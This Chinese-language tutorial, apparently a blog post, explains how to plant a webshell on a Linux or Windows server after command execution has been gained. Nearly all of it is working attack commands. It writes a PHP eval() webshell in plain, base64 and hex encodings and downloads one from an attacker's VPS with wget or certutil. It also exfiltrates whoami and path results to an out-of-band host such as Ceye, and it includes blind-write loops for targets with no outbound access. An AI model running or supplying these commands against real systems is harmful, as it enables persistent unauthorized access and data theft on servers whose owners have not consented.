0x00 前言
在获得执行命令权限后,如何成功写入webshell?
0x01 Linux环境 1.1 目标出网,命令有回显
为了写入webshell,首先需获取服务器的绝对路径。使用find
命令查找\php\jsp\asp等文件以找到绝对路径。
<code>find / -name index.php</code>
(1)通过echo写入webshell
<code>echo '<?php eval($_POST[1]);?>' > 目录/1.php # 直接写入webshell</code>
其余写入方式:
<code>echo 'JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9QT1NUJTVCMSU1RCUyOSUzQiUyMCUzRiUzRQ==' | base64 -d > 目录/1.php # base64编码后写入 echo '3C3F706870206576616C28245F504F53545B315D293B203F3E' | xxd -r -ps > 目录/1.php # hex编码后写入</code>
(2)远程下载webshell
如果目标支持wget
命令,可直接从VPS下载webshell。
<code>wget http://ip:port/x.php -O /目录/1.php</code>
1.2 目标出网,命令无回显
在服务器开启监听的情况下,使用wget
命令请求服务器监听地址,将命令执行结果带出。
<code>wget http://ip:port/`cmd`</code>
拿到路径后,直接写入或下载webshell即可。
1.3 目标不出网,命令无回显
(1)获取绝对路径
使用以下命令,在查询文件的同级目录下写入一个test.txt
文件,访问该文件查看命令执行结果。
<code>find / | grep [查询的文件名] | while read f; do sh -c "[要执行的命令]" > $(dirname $f)/test.txt; done</code>
(2)盲打
假设获取路径失败,直接写入到网站某个文件的同级目录下。
<code>find / -name [文件名] | while read file; do sh -c "echo [base64编码内容] | base64 -d" > $(dirname $file)/[写入的文件名]; done</code>
例如,将文件(123.php
)写入网站robots.txt
同级目录下:
<code>echo 'shell' > /网站根目录/robots/123.php</code>
0x02 Windows环境 2.1 目标出网,命令有回显
在Windows上,使用以下命令确认绝对路径:
<code>for /r "C:\" %i in ([文件名]*) do @echo %i</code>
以pikachu1.png
文件为例:
<code>echo ^<?php eval($_POST[1]); ?>^> > 目录\1.php</code>
(2)远程下载webshell
使用certutil
等命令,原理与Linux相同。
2.2 目标出网,命令无回显
使用Ceye平台接收外部数据。
(1)执行whoami
命令并将结果发送至Ceye
<code>for /f %i in ('whoami') do certutil -urlcache -split -f http://x.x.x.x/%i</code>
(2)寻找web文件的绝对路径并将结果发送至Ceye
<code>for /r c:\ %i in (文件名*) do certutil -urlcache -split -f http://x.x.x.x/%i</code>
2.3 目标不出网,命令无回显
(1)查找绝对路径
<code>cmd /c "for /f %i in ('dir /s /b c:\文件名') do (echo %i> %i.path.txt)"</code>
拿到绝对路径后,直接写入webshell即可。
(2)盲打
假设获取路径失败,使用以下命令直接写入webshell到网站某个文件的同级目录下。
<code>cmd /c "for /f %i in ('dir /s /b 盘符:文件命') do (echo shell > %i/../shell.php)"</code>
成功写入webshell到pikachu1.png
文件的同级目录下,并解析成功。
暂无评论内容